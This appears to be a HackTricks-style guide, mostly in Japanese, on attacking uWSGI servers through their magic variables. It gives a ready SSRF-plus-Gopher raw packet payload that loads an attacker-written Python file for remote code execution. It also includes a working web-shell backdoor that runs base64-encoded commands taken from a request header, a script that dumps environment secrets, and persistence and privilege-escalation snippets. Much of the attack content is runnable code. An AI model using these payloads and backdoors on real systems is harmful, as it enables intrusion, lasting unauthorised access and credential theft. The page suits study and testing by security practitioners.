WSGI Post-Exploitation Tricks

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

WSGI 概要

Web Server Gateway Interface (WSGI) は、webサーバーがWebアプリケーションとどのように通信するか、そしてWebアプリケーションを連結して1つのリクエストを処理する方法を定める仕様です。uWSGI は最も一般的な WSGI サーバーの一つで、Python の Web アプリケーションを配信するためによく使われます。

uWSGI Magic Variables の悪用

uWSGI はサーバーの挙動を動的に設定するために使用できる特別な "magic variables" を提供します。これらの変数は HTTP ヘッダーを通じて設定でき、適切に検証されない場合には深刻なセキュリティ脆弱性を引き起こす可能性があります。

主な悪用可能な変数

UWSGI_FILE - 任意ファイル実行

uwsgi_param UWSGI_FILE /path/to/python/file.py;

この変数は任意の Python ファイルを WSGI アプリケーションとして読み込み、実行することを可能にします。攻撃者がこのパラメータを制御できる場合、Remote Code Execution (RCE) を達成できます。

UWSGI_SCRIPT - スクリプトの読み込み

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

指定したスクリプトを新しいアプリケーションとして読み込みます。ファイルのアップロードや書き込み機能と組み合わせると、これがRCEにつながる可能性があります。

UWSGI_MODULE and UWSGI_CALLABLE - Dynamic Module Loading

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

これらのパラメータは任意のPythonモジュールをロードし、その中の特定の関数を呼び出すことを可能にします。

UWSGI_SETENV - 環境変数の操作

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

環境変数を変更するために使用でき、アプリケーションの動作に影響を与えたり、悪意のある設定を読み込ませたりする可能性があります。

UWSGI_PYHOME - Python 環境の操作

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

UWSGI_CHDIR - Directory Traversal

Python の仮想環境を変更し、悪意のあるパッケージや別の Python インタプリタが読み込まれる可能性があります。

uwsgi_param UWSGI_CHDIR /etc/;

リクエストを処理する前に作業ディレクトリを変更します。これは path traversal 攻撃に利用できます。

SSRF + Gopher to

攻撃ベクトル

When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when:

  1. アプリケーションに SSRF の脆弱性がある
  2. uWSGI が内部のポート/ソケットで動作している
  3. アプリケーションが magic variables を適切に検証していない

uWSGI は、設定ファイル uwsgi.inisocket = 127.0.0.1:5000 が含まれているため SSRF によってアクセス可能になっており、ウェブアプリケーションから SSRF 経由でアクセスできます。

悪用例

ステップ1: Create Malicious Payload

First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

ステップ 2: uWSGI プロトコルリクエストの作成

Gopher プロトコルを使って生の uWSGI パケットを送信します:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

この payload:

  • uWSGI のポート5000に接続する
  • 悪意のあるファイルを指すように UWSGI_FILE を設定する
  • uWSGI に Python コードを読み込ませて実行させる

uWSGI プロトコルの構造

uWSGI プロトコルは次のようなバイナリ形式を使用する:

  • 変数は長さプレフィックス付き文字列としてエンコードされる
  • 各変数は: [name_length][name][value_length][value]
  • パケットは合計サイズを含むヘッダで始まる

Post-Exploitation Techniques

1. Persistent Backdoors

ファイルベースの Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

次に UWSGI_FILE を使ってこのバックドアをロードします:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

環境ベースの Persistence

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. 情報漏洩

環境変数のダンプ

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

ファイルシステムへのアクセス

機密ファイルにアクセスするために、UWSGI_CHDIR をファイル配信と組み合わせて使用します:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

uWSGI が特権で実行されている場合、攻撃者は socket permissions を操作できる可能性があります:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

設定の上書き

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする